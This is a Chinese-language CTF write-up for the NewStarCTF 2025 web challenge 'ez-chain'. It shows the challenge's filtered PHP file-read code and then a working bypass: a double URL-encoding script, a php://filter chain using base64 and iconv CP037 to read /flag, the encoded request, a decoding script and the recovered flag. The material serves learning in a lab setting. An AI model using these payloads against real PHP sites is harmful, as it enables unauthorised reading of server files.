(newstarCTF2025/web/week3) ez-chain

  1. ez-chain
    1. 第一关
    2. 第二关
    3. 第三关
    4. 神秘payload

ez-chain

这道题真的easy吗?

<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
    foreach ($waf as $waf_word) {
        if (stripos($file, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

function filter_output($data) {
    $waf = array('f');
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    while (true) {
        $decoded = base64_decode($data, true);
        if ($decoded === false || $decoded === $data) {
            break;
        }
        $data = $decoded;
    }
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (filter($file) !== true) {
        die();
    }
    $file = urldecode($file);
    $data = file_get_contents($file);
    if (filter_output($data) !== true) {
        die();
    }
    echo $data;
}
highlight_file(__FILE__);

?>

第一关

这是我见过的,因为先过滤了一些字符再进行url编码,需要对payload进行两次url编码,并且要彻底进行(字母也要转化)

刚好我有脚本

def url_encode_all(text):
    encoded=''
    for c in text:
        # %     格式化操作符
        # :02   宽度为 2,不足 2 位时在左侧补0
        # X     以16进制打印,字母大写 
        encoded+=f'%{ord(c):02X}'
    return encoded

text=input("请输入完全url编码的内容:")
num=2
for i in range(num):
    text=url_encode_all(text)
print(f"经过{num}次编码后的结果为: {text}")

第二关

首先我犯了个错误:
file_get_contents 不能像include那样直接执行 PHP 代码。

php://input 然后post:<?system(“cat /flag”);失败

也就是说如果没有eval()或者include(),我们是没有办法执行代码的

直接将/flag传给file参数,发现没有报错,说明这个文件是存在的,只是存在f/F字母

第三关

这里我们只要了解php伪协议,就知道要用filter进行编码,但是怎么做才能实现没有f/F呢?我确实想到要几个过滤器进行组合(毕竟题目叫ez-chain),但是真的想不到啊,只能看题解了

解法:

php://filter/read=convert.base64-encode|convert.iconv.ASCII.CP037/resource=/flag

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%35%25%36%45%25%36%33%25%36%46%25%36%34%25%36%35%25%37%43%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%39%25%36%33%25%36%46%25%36%45%25%37%36%25%32%45%25%34%31%25%35%33%25%34%33%25%34%39%25%34%39%25%32%45%25%34%33%25%35%30%25%33%30%25%33%33%25%33%37%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%32%46%25%36%36%25%36%43%25%36%31%25%36%37

E9 94 A7 88 E9 F3 A2 F2 D5 E3 E8 A9 D5 F2 D1 89 E8 A8 F1 93 E8 E3 E5 92 D3 E3 C2 91 D6 C4 92 A3 E9 94 D8 F1 D5 89 F1 88 D5 A9 84 92 D4 91 D9 88 D4 C4 C5 A7 D4 E6 D1 F9 C3 87 7E 7E

写脚本进行解码,得到flag

import codecs
import base64

# 十六进制数据
hex_data = "E9 94 A7 88 E9 F3 A2 F2 D5 E3 E8 A9 D5 F2 D1 89 E8 A8 F1 93 E8 E3 E5 92 D3 E3 C2 91 D6 C4 92 A3 E9 94 D8 F1 D5 89 F1 88 D5 A9 84 92 D4 91 D9 88 D4 C4 C5 A7 D4 E6 D1 F9 C3 87 7E 7E"

# 1. hex -> bytes
data = bytes.fromhex(hex_data)

# 2. CP037 -> ASCII(还原 base64 字符串)
base64_str = codecs.decode(data, 'cp037')

print("[+] Base64:", base64_str)

# 3. Base64 解码
decoded = base64.b64decode(base64_str)

print("[+] 原始内容:")
print(decoded.decode(errors='ignore'))

flag{65637bbc-ea5d-0c89-fd56-a77d24a0111b}

神秘payload

转化过程

base64 ascii cp037
A~Z 41~5A C1~E9
a~z 61~7A 81~A9
0~9 30~39 F0~F9
+ 2B 4E
/ 2F 61
= 3D 7E

理论上可能出现N,a,~,由于utf-8是变长度的,所以也可能不是,总之不可能出现f/F

我得到了什么?我只能说web题还是太私募了,哪怕一个点卡住也做不下去,而且网络搜索和ai也得不到进展。。。

还是要学会检索,比如我搜索ctf-Filter链就找到相关文章了,原来叫FilterChain攻击,虽然我在马后炮


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至2679413348@qq.com